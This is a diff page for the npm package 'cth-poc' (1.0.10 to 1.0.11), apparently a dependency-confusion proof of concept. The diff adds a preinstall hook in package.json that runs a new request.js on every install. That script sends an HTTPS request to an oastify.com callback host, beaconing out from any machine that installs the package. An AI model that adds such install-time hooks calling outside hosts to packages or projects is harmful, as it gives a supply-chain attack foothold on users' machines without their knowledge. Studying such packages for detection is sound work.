cth-poc 1.0.10 → 1.0.11
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +4 -2
- package/request.js +19 -0
package/package.json
CHANGED
@@ -1,14 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "cth-poc",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.11",
|
4
4
|
"description": "",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
|
-
"test": "echo \"Error: no test specified\" && exit 1"
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node request.js"
|
8
9
|
},
|
9
10
|
"keywords": [],
|
10
11
|
"author": "",
|
11
12
|
"license": "ISC",
|
12
13
|
"dependencies": {
|
14
|
+
"https": "^1.0.0"
|
13
15
|
}
|
14
16
|
}
|
package/request.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
const options = {
|
4
|
+
hostname: 'diz0svwga2no6is2k74m0vncq3wuko8d.oastify.com', // Ganti dengan domain yang sesuai
|
5
|
+
port: 443, // Port HTTPS umum adalah 443
|
6
|
+
path: '/api/some-endpoint', // Ganti dengan path yang sesuai
|
7
|
+
method: 'GET', // Metode HTTP, bisa GET, POST, dll.
|
8
|
+
// headers: {} // Anda bisa menambahkan header kustom jika diperlukan
|
9
|
+
};
|
10
|
+
|
11
|
+
const req = https.request(options, (res) => {
|
12
|
+
// Tidak melakukan apa-apa dengan respons
|
13
|
+
});
|
14
|
+
|
15
|
+
req.on('error', (error) => {
|
16
|
+
console.error('Error making the request:', error);
|
17
|
+
});
|
18
|
+
|
19
|
+
req.end(); // Kirim permintaan
|